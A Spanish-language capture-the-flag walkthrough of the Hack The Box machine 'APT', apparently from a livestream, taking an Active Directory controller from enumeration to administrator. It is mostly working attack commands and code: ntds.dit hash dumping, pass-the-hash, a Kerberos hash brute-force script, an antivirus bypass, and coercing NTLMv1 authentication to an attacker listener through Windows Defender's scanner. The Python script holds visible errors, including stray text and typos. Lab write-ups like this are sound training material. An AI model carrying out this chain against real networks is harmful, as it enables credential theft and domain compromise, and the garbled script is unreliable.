HTB_Apt
APT {-}
Introduccion {-}
La maquina del dia se llama APT.
El replay del live se puede ver aqui
No olvideis dejar un like al video y un commentario…
Enumeracion {-}
Reconocimiento de maquina, puertos abiertos y servicios {-}
Ping {-}
ping -c 1 10.10.10.213
ttl: 127 -> maquina Windows
Nmap {-}
nmap -p- --open -T5 -v -n 10.10.10.213
Va lento
nmap -sS -p- --open --min-rate 5000 -vvv -n -Pn 10.10.10.213 -oG allPorts
extractPorts allPorts
nmap -sC -sV -p80,135 10.10.10.213 -oN targeted
Puerto | Servicio | Que se nos occure? | Que falta? |
---|---|---|---|
80 | http | Web Fuzzing | |
135 | msrpc |
Analyzando la web {-}
Whatweb {-}
whatweb http://10.10.10.213
Es un IIS 10.0 y poco mas.
Checkear la web {-}
Si entramos en la url http://10.10.10.213
, vemos una web que habla de un hosting.
Fuzzing {-}
nmap --script http-enum -p80 10.10.10.213 -oN webScan
Analyzando el puerto 135
Buscando con firefox port 135 msrpc pentesting
vemos un articulo en la web de hacktricks.
Aqui podemos ver que hay una posibilidad de abusar del methodo ServerAlive2 con una heramienta llamada IOXIDResolver.
Vulnerability Assessment {-}
Abusando del methodo ServerAlive2 {-}
git clone https://github.com/mubix/IOXIDResolver
cd IOXIDResolver
pip3 install -r requirements.txt
python3 IOXIDResolver.py -t 10.10.10.213
En este caso, el abuso del methodo nos muestra la ipv6 de la maquina victima. Lo verificamos con un ping
ping6 dead:beef::b885:d62a:d679:573f
Aqui vemos que la maquina nos responde.
Buscamos mas puertos con IPV6 {-}
nmap -sS --min-rate 5000 --open -vvv -n -Pn -6 dead:beef::b885:d62a:d679:573f -oG allPortsipv6
extractPorts allPortsipv6
nmap -sCV -p53,80,88,135,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49667,49669,49670,49673,29685,49693 -6 dead:beef::b885:d62a:d679:573f -oN targetedipv6
Aqui vemos un monton de puertos que no vamos a explicar porque ya lo hemos contemplado varias veces. Pero mirando los mas importantes vemos:
- el puerto 135 (smb) esta abierto
- el 88 (kerberos)
- el 389 (ldap)
- el 5985 (WinRM)
y con esto ya sabemos que estamos frente a un Domain Controller.
Usando las heramientas basicas con IPV6 {-}
CrackMapExec {-}
Aqui vamos a por crackMapExec. La version que utiliza S4vitaar es la 5.1.1 dev que no permite usar IPV6 y tiene que subir a la version 5.1.7 dev
pushd /opt
curl -sSL https://raw.githubusercontent.com/python-poetry/poetry/master/get-poetry.py | python -
apt-get install -y libssl-dev libffi-dev python-dev build-essential
git clone --recursive https://github.com/byt3bl33d3r/CrackMapExec
cd CrackMapExec
poetry install
poetry run crackMapExec smb dead:beef::b885:d62a:d679:573f
Vemos que la maquina se llama apt y que el dominio es htb.local. Añadimos los dos en el /etc/hosts
dead:beef::b885:d62a:d679:573f apt htb.local
CrackMapExec via alternativa {-}
Una via alternativa seria redirigir el flujo de nuestro puerto 445 local hacia el puerto 445 de la maquina victima con socat.
-
redirigimos el puerto 445
socat TCP-LISTEN:445,fork TCP:apt:445
-
uzamos la version mas antigua de crackmap exec a nuestra maquina local
crackmapexec smb localhost
SmbClient {-}
Miramos los recursos compartidos a nivel de red con smbclient
smbclient -L dead:beef::b885:d62a:d679:573f -N
Vemos un directorio backup. Miramos si nos podemos connectar.
smbclient //dead:beef::b885:d62a:d679:573f/backup -N
dir
get backup.zip
Aqui hay un backup.zip y lo descargamos a nuestro equipo de atacante. Si intentamos unzipear el archivo vemos que esta protegido por contraseña.
Crackeando la contraseña con fcrackzip {-}
fcrackzip -b -D -u -p /usr/share/wordlists/rockyou.txt backup.zip
Aqui podemos ver la contraseña.
unzip backup.zip
Aqui podemos ver que tenemos un ntds.dit y un SYSTEM. Esto quiere decir que podemos jugar con SecretsDump
SecretsDump {-}
Teniendo un ntds.dit y un SYSTEM, podemos pillar los hashes NTLMv2 de los usuarios del Directorio Activo. Como lo hacemos desde nuestra maquina local, tenemos que ponerle un LOCAL al final.
impacket-secretsdump -ntds Active\ Directory/ntds.dit -system registry/SYSTEM LOCAL
Aqui recuperamos un monton de informacion. Vamos a tratar de recojer unicamente la informacion que nos interesa. Vemos que todo los usuarios tienen un hash aad3b435b51404eeaad3b435b51404ee.
impacket-secretsdump -ntds Active\ Directory/ntds.dit -system registry/SYSTEM LOCAL | grep "aad3b435b51404eeaad3b435b51404ee" > data
Intentamos un pass the hash con el usuario Administrator
pushd /opt/CrackMapExec
poetry run crackmapexec smb dead:beef::b885:d62a:d679:573f -u 'Administrator' -H '2b576acbe6bcfda7294d6bd18041b8fe'
Vemos que no podemos hacer pass the hash a todos los usuarios, Tenemos que recuperar un listado de usuarios validos.
-
Creamos un fichero de usuarios
cat data | awk '{print $1}' FS=":" | wc -l cat data | awk '{print $1}' FS=":" | sort -u | wc -l cat data | awk '{print $1}' FS=":" > users
-
creamos un fichero de hashes NT
cat data | awk '{print $4}' FS=":" > hash
Aqui vamos a intentar bruteforcear los usuarios con kerbrute.
Kerbrute {-}
Aqui vamos a tirar del kerbrute para tratar de brueforcear el Kerberos para conocer los usuarios validos
git clone https://github.com/ropnop/kerbrute
cd kerbrute
go build -ldflags "-s -w" .
upx kerbrute
Ya podemos enumerar los usuarios
./kerbrute userenum --dc apt -d htb.local ../users
Aqui vemos que hay un usuario henry.vinson@htb.local que es valido.
Si intentamos un pass the hash con este usuario
pushd /opt/CrackMapExec
poetry run crackmapexec smb dead:beef::b885:d62a:d679:573f -u 'henry.vinson' -H '2de80758521541d19cabbba480b260e8f'
Vemos que el hash no es valido. Aqui intentamos ver si el hash de este usuario esta en la lista de los hashes pero como kerbrute o otra heramientas como pyKerbrute no nos permiten hacer un bruteforce de hashes, nos creamos nuestro proprio script en python
[ ! ] NOTAS: podriamos intentar bruteforcear hashes con smb con el comando
poetry run crackmapexec smb dead:beef::b885:d62a:d679:573f -u 'henry.vinson' -H /home/s4vitar/Desktop/APT/content/hash
pero se bloquea a partir de unos cuantos hash (seguridad de smb).
Script de bruteforce de hashes {-}
Aqui en vez de crear nuestro script desde zero, uzamos el script en python de pyKerbrute y la modificamos El script que nos interessa es el ADPwdSpray.py.
#!/usr/bin/python
import sys, os
import socket, signal
from pwn import *
from random import getrandbits
from time import time, localtime, strftime
from pyasn1.type.univ import Integer, Sequence, SequenceOf, OctetString, BitString, Boolean
from pyasn1.type.char import GeneralString
from pyasn1.type.useful import GeneralizedTime
from pyasn1.type.tag import Tag, tagClassContext, tagClassApplication, tagFormatSimple
from pyasn1.codec.der.encoder import encode
from struct import pack, upack
from pyasn1.type.namedtype import NamedTypes, NamedType, OptionalNamedType
from _crypto import ARC4, MD5, MD4
from time import time, gmtime, strftime, strptime, localtime
import hmac as HMAC
from random import getrandbits, sample
RC4_HMAC = 23
NT_PRINCIPAL = 1
NT_SRV_INST = 2
def def_handler(sig, frame):
print("\n\n[!] Saliendo...\n")aad3b435b51404eeaad3b435b51404ee
sys.exit(1)
#Ctrl+C
signal.signal(signal.SIGINT, def_handler)
def random_bytes(n):
return ''.join(chr(c) for c in sample(xrange(256), n))
def encrypt(etype, key, msg_type, data):
if etype != RC4_HMAC:
raise NotImplementedError('Only RC4-HMAC supported!')
k1 = HMAC.new(key, pack('<I', msg_type)).digest()
data = random_bytes(8) + data
chksum = HMAC.new(k1, data).digest()
k3 = HMAC.new(k1, chksum).digest()
return chksum + ARC4.new(k3).encrypt(data)
def epoch2gt(epoch=None, microseconds=False):
if epoch is None:
epoch = time()
gt = strftime('%Y%m%d%H%M%SZ', gmtime(epoch))
if microseconds:
ms = int(epoch * 1000000) % 1000000
return (gt, ms)
return gt
def ntlm_hash(pwd):
return MD4.new(pwd.encode('utf-16le'))
def _c(n, t):
return t.clone(tagSet=t.tagSet + Tag(tagClassContext, tagFormatSimple, n))
def _v(n, t):
return t.clone(tagSet=t.tagSet + Tag(tagClassContext, tagFormatSimple, n), cloneValueFlag=True)
def application(n):
return Sequence.tagSet + Tag(tagClassApplication, tagFormatSimple, n)
class Microseconds(Integer): pass
class KerberosString(GeneralString): pass
class Realm(KerberosString): pass
class PrincipalName(Sequence):
componentType = NamedTypes(
NamedType('name-type', _c(0, Integer())),
NamedType('name-string', _c(1, SequenceOf(componentType=KerberosString()))))
class KerberosTime(GeneralizedTime): pass
class HostAddress(Sequence):
componentType = NamedTypes(
NamedType('addr-type', _c(0, Integer())),
NamedType('address', _c(1, OctetString())))
class HostAddresses(SequenceOf):
componentType = HostAddress()
class PAData(Sequence):
componentType = NamedTypes(
NamedType('padata-type', _c(1, Integer())),
NamedType('padata-value', _c(2, OctetString())))
class KerberosFlags(BitString): pass
class EncryptedData(Sequence):
componentType = NamedTypes(
NamedType('etype', _c(0, Integer())),
OptionalNamedType('kvno', _c(1, Integer())),
NamedType('cipher', _c(2, OctetString())))
class PaEncTimestamp(EncryptedData): pass
class Ticket(Sequence):
tagSet = application(1)
componentType = NamedTypes(
NamedType('tkt-vno', _c(0, Integer())),
NamedType('realm', _c(1, Realm())),
NamedType('sname', _c(2, PrincipalName())),
NamedType('enc-part', _c(3, EncryptedData())))
class KDCOptions(KerberosFlags): pass
class KdcReqBody(Sequence):
componentType = NamedTypes(
NamedType('kdc-options', _c(0, KDCOptions())),
OptionalNamedType('cname', _c(1, PrincipalName())),
NamedType('realm', _c(2, Realm())),
OptionalNamedType('sname', _c(3, PrincipalName())),
OptionalNamedType('from', _c(4, KerberosTime())),
NamedType('till', _c(5, KerberosTime())),
OptionalNamedType('rtime', _c(6, KerberosTime())),
NamedType('nonce', _c(7, Integer())),
NamedType('etype', _c(8, SequenceOf(componentType=Integer()))))
class KdcReq(Sequence):
componentType = NamedTypes(
NamedType('pvno', _c(1, Integer())),
NamedType('msg-type', _c(2, Integer())),
NamedType('padata', _c(3, SequenceOf(componentType=PAData()))),
NamedType('req-body', _c(4, KdcReqBody())))
class PaEncTsEnc(Sequence):
componentType = NamedTypes(
NamedType('patimestamp', _c(0, KerberosTime())),
NamedType('pausec', _c(1, Microseconds())))
class AsReq(KdcReq):
tagSet = application(10)
def build_req_body(realm, service, host, nonce, cname=None):
req_body = KdcReqBody()
# (Forwardable, Proxiable, Renewable, Canonicalize)
# req_body['kdc-options'] = "'01010000100000000000000000000000'B"
req_body['kdc-options'] = "'00000000000000000000000000010000'B"
if cname is not None:
req_body['cname'] = None
req_body['cname']
req_body['cname']['name-type'] = NT_PRINCIPAL
req_body['cname']['name-string'] = None
req_body['cname']['name-string'][0] = cname
req_body['realm'] = realm
req_body['sname'] = None
req_body['sname']['name-type'] = NT_SRV_INST
req_body['sname']['name-string'] = None
req_body['sname']['name-string'][0] = service
req_body['sname']['name-string'][1] = host
req_body['till'] = '19700101000000Z'
req_body['nonce'] = nonce
req_body['etype'] = None
req_body['etype'][0] = RC4_HMAC
return req_body
def build_pa_enc_timestamp(current_time, key):
gt, ms = epoch2gt(current_time, microseconds=True)
pa_ts_enc = PaEncTsEnc()
pa_ts_enc['patimestamp'] = gt
pa_ts_enc['pausec'] = ms
pa_ts = PaEncTimestamp()
pa_ts['etype'] = key[0]
pa_ts['cipher'] = encrypt(key[0], key[1], 1, encode(pa_ts_enc))
return pa_ts
def build_as_req(target_realm, user_name, key, current_time, nonce):
req_body = build_req_body(target_realm, 'krbtgt', target_realm, nonce, cname=user_name)
pa_ts = build_pa_enc_timestamp(current_time, key)
as_req = AsReq()
as_req['pvno'] = 5
as_req['msg-type'] = 10
as_req['padata'] = None
as_req['padata'][0] = None
as_req['padata'][0]['padata-type'] = 2
as_req['padata'][0]['padata-value'] = encode(pa_ts)
as_req['req-body'] = _v(4, req_body)
return as_req
def send_req_tcp(req, kdc, port=88):
data = encode(req)
data = pack('>I', len(data)) + data
sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)
sock.connect((kdc, port))
sock.send(data)
return sock
def send_req_udp(req, kdc, port=88):
data = encode(req)
sock = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)
sock.connect((kdc, port))
sock.send(data)
return sock
def recv_rep_tcp(sock):
data = ''
datalen = None
while True:
rep = sock.recv(8192)
if not rep:
sock.close()
raise IOError('Connection error')
data += rep
if len(rep) >= 4:
if datalen is None:
datalen = unpack('>I', rep[:4])[0]
if len(data) >= 4 + datalen:
sock.close()
return data[4:4 + datalen]
def recv_rep_udp(sock):
data = ''
datalen = None
while True:
rep = sock.recv(8192)
if not rep:
sock.close()
raise IOError('Connection error')
data += rep
if len(rep) >= 4:
sock.close()
return data
def _decrypt_rep(data, key, spec, enc_spec, msg_type):
rep = decode(data, asn1Spec=spec)[0]
rep_enc = str(rep['enc-part']['cipher'])
rep_enc = decrypt(key[0], key[1], msg_type, rep_enc)
rep_enc = decode(rep_enc, asn1Spec=enc_spec)[0]
return rep, rep_enc
def passwordspray_tcp(user_realm, user_name, user_key, kdc_a, orgin_key):
nonce = getrandbits(31)
current_time = time()
as_req = build_as_req(user_realm, user_name, user_key, current_time, nonce)
sock = send_req_tcp(as_req, kdc_a)
data = recv_rep_tcp(sock)
i=0
for c in data:
i=i+1
if(i==18):
if(ord(c)==0x0b):
print('[+] Valid Login: %s:%s'%(user_name,orgin_key))
if __name__ == '__main__':
user_realm = 'htb.local'
username = 'henry.vinson'
kdc_a = 'apt'
f = open("hash", "r")
p1 = log.progress("Fuerza bruta")
p1.status("Iniciando ataque de fuerza bruta")
number = 1
for ntlm in f.readlines():
ntlm = ntlm.strip('\n')
p1.status("Probando con el Hash [%s/2000]: %s" % (str(number), ntlm)
user_key = (RC4_HMAC, ntml.decode('hex'))
passwordspray_tcp(user_realm, username, user_key, kdc_a, ntlm)
Hemos cambiado el socket.AF_INET en socket.AF_INET6 y el main para que podamos leer el fichero de hashes.
Lanzando el script, encontramos un hash valido. Lo verificamos
pushd /opt/CrackMapExec
poetry run crackmapexec smb dead:beef::b885:d62a:d679:573f -u 'henry.vinson' -H 'e53d87d42adaa3ca32bdb34a876cbffb'
[ ! ] NOTAS: Podriamos hacer ASProasting o Kerberoasting attack pero S4vi nos adelanta que no funcciona y que ademas es complicado con IPV6
Dumpeo de registros desde la maquina local {-}
Los registros se pueden dumpear desde la maquina local. Es interessante siempre probar esto porque se puede encontrar informaciones de esta manera. Los registros son:
- HKCR
- HKCU
- HKLM
- HKU
- HKCC
- HKPD
Utilizamos la heramienta reg.py de impacket para lograr esto.
impacket-reg.py -hashes :e53d87d42adaa3ca32bdb34a876cbffb htb.local/henry.vinson@apt query -keyName HKCR
impacket-reg.py -hashes :e53d87d42adaa3ca32bdb34a876cbffb htb.local/henry.vinson@apt query -keyName HKCU
impacket-reg.py -hashes :e53d87d42adaa3ca32bdb34a876cbffb htb.local/henry.vinson@apt query -keyName HKLM
impacket-reg.py -hashes :e53d87d42adaa3ca32bdb34a876cbffb htb.local/henry.vinson@apt query -keyName HKU
Aqui vemos informaciones interesantes, y miramos por lo que nos parece interesante
impacket-reg.py -hashes :e53d87d42adaa3ca32bdb34a876cbffb htb.local/henry.vinson@apt query -keyName HKU\\Software
impacket-reg.py -hashes :e53d87d42adaa3ca32bdb34a876cbffb htb.local/henry.vinson@apt query -keyName HKU\\Software\\GiganticHostingManagementSystem
Aqui encontramos usuario y contraseña para henry.vinson_adm. Verificamos las credenciales
pushd /opt/CrackMapExec
poetry run crackmapexec smb dead:beef::b885:d62a:d679:573f -u 'henry.vinson_adm' -p 'G1#Ny5@2dvht'
Es valida y intentamos connectarnos con Evil-WinRM
Vuln exploit & Gaining Access {-}
WinRM {-}
gem install evil-winrm
evil-winrm -i apt -u 'henry.vinson_adm' -p 'G1#Ny5@2dvht'
Nos conectamos y podemos leer la flag.
Privilege Escalation {-}
Rootear la maquina {-}
Aqui vamos a tirar de WinPeas. Descargamos el winPEAS en nuestro equipo de atacante
wget https://github.com/carlospolop/PEASS-ng/blob/master/winPEAS/winPEASexe/binaries/x64/Release/winPEASx64.exe
Il lo cargamos desde Evil-WinRM
cd C:\Users\henry.vinson_adm\AppData\Local\Temp
upload winPEASx64.exe
dir
.\winPEASx64.exe
Aqui vemos que no podemos lanzar el exe porque no lo pilla el antivirus. En este caso el defender no nos deja passar por los bypass normales pero podemos hacer cositas con funcciones de Evil-WinRM.
menu
Bypass-4MSI
Invoke-Binary /home/s4vitar/Desktop/HTB/APT/content/winPEASx64.exe
Tenemos que esperar que se acabe la ejecucion para ver el resultado.
Aqui no vemos nada interessante. Probamos otre binario de analysis, el Seatbelt.exe.
wget https://github.com/r3motecontrol/Ghostpack-CompiledBinaries/raw/master/Seatbelt.exe
Lo cargamos nuevamente a la maquina victima
Invoke-Binary /home/s4vitar/Desktop/HTB/APT/content/Seatbelt.exe
Invoke-Binary /home/s4vitar/Desktop/HTB/APT/content/Seatbelt.exe -group=all
Aqui podemos ver que el NTLM de version 1 esta expuesta en esta maquina.
Aqui vamos a tirar de crack.sh en lo cual podemos tratar de utilizar el responder para recuperar la llaves y crackearlas con crack.sh
-
Modificamos el fichero de configuracion de responder
cd /usr/share/responder vi Responder.conf # cambiamos el challenge Challenge = 1122334455667788
-
lanzamos el responder
python3 responder.py -I tun0 --lm
-
desde la maquina victima aprovechamos del defender para scanear ficheros
cd C:\Program Files\Windows Defender .\MpCmdRun.exe -Scan -ScanType 3 -File \\10.10.14.8\algoquenoexiste
Aqui vemos que hemos pillado el hash NTLMv1 de la propria maquina. Lo copiamos y usamos de ntlmv1-multi para crear el hash necessario para romper con crack.sh
git clone https://github.com/evilmog/ntlmv1-multi
cd ntlmv1-multi
python3 ntlmv1.py --ntlmv1 'APT$::HTB:95ACA8C72487742B427E1AE5B8D5CE6830A49B5BBB58D384:95ACA8C7248774CB427E1AE5B8D5CE6830A49B5BB858D384:1122334455667788'
Aqui podemos copiar el hash en crack.sh usando un temporary email y recivimos un mail con la key.
impacket-secretsdump -hashes :d167c32388864b12f5f82feae86a7f798 'htb.local/APT$@apt'
Aqui ya vemos los hash de los usuarios y con evil-winRM no connectamos con el usuario administrator
evil-winrm -i apt -u 'Administrator' -H 'c370bddf384a691d811ff3495e8a72e2'
y visualizar la flag.